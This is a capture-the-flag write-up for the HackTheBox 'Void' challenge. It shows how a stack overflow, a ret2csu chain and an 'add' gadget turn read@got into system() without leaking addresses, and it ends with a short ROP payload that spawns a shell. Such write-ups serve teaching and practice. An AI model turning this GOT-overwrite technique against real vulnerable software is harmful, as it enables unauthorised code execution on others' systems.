HTB Void writeup

Challenge

https://app.hackthebox.com/challenges/462

Intended way

ret2dlresolve. It can be solved using pwntools in no time. Writeup (video): https://ctftime.org/writeup/36434

My way

Analysis

Okay, so let’s do something different. We know which version of GLIBC is running on the remote server because it is provided to us: GLIC 2.31. The binary has Partial RelRO (obviously so because it was supposed to be solved using ret2dlresolve). So we can overwrite got. The binary calls read() to get up to 0xc8 bytes from stdin into a buffer on the stack in the function vuln(), which overflows and allows us to take control of RIP. No more libc6 functions are called, so this is what the got table looks like:

[0x404018] read@GLIBC_2.2.5  →  0x7ffff7ee1780

Overwriting read

We can use my script genlist.py to see if we can overwrite read() with just one byte without leaks:

python3 genlist.py glibc/libc.so.6 > libc.so.txt

This time, write() and read() are further apart, so we cannot just overwrite read() with write() with one byte:

Functions grouped by 0xec700
        0x000ec750:48:sym.__openat64_2
        0x000ec780:139:sym.__read
unctions grouped by 0xec800
        0x000ec820:147:sym.__write

We still need to find a way to overwrite read(). However, we need to overwrite more than one byte, and for that we cannot just use read itself, because we do not know its address yet. We are only certain that the last byte for write() is 0x20 and for read() is 0x80. Nothing else. But how about adding instead of overwriting? If we can find a ROP gadget that adds a value we control to a memory address we control, then we’re on!

Adding instead of overwriting

Using r2, we found the following ROP-gadget:

[0x00401122]> /R add
0x00401108             015dc3  add dword [rbp - 0x3d], ebx
0x0040110b        0f1f440000  nop dword [rax + rax]
0x00401110                 c3  ret

Okay, we control RBX and RBP thanks to the ret2csu technique (this binary is built with __lib_csu_init() because it’s using GLIBC 2.31). So we need to add a value to read@got. Can we, say, transform read() into system right away? Let’s see how far they are:

gef➤  p read - system
$1 = 0xa6930

So read() is after system. But we can only add, we cannot subtract … or can we? Yeah: if we cannot subtract 0xa6930 from read, we can always add -0xa6930 to it! So:

gef➤  p/x -(read-system)
$3 = 0xfffffffffff596d0

Because our ROP-gadget allows us to add a double word (32 bits only) and not 64 bits, we can, in fact, use the value:

0xfff596d0

And that’s because the offset between read and write, expressed in negative form, fits in 32 bits:

gef➤  p read - system
$1 = 0xa6930
gef➤  p/x -0xa6930
$2 = 0xfff596d0

Exploit

And that’s all! We do not need anything else to spawn a shell. We can write our command into the .bss section first, then add the value 0xfffffffffff596d0 to read@got, pop the address of our command into RDI and call read@plt. Game over. Without leaks, without using the one gadget technique described here: https://github.com/sbencoding/htb_ca2023_writeups/tree/master/pwn/void. Just one simple addition!:

1payload = padding \
2      + p64(RBP) \
3      + ropAdd(binary.symbols["got.read"],system_offt) \
4      + ropShell()
../_images/HTB-Void-shell.png

Warning

I revisited this challenge in order to provide another cool example for this project, but I have to confess that at the time, when the competition was on, I wrote an exploit using ret2dlresolve. Yeah, I admit it: I was lazy. But I love revisiting old challenges afterwards, because it’s then when you can come up with something a bit different. This way you learn a ton!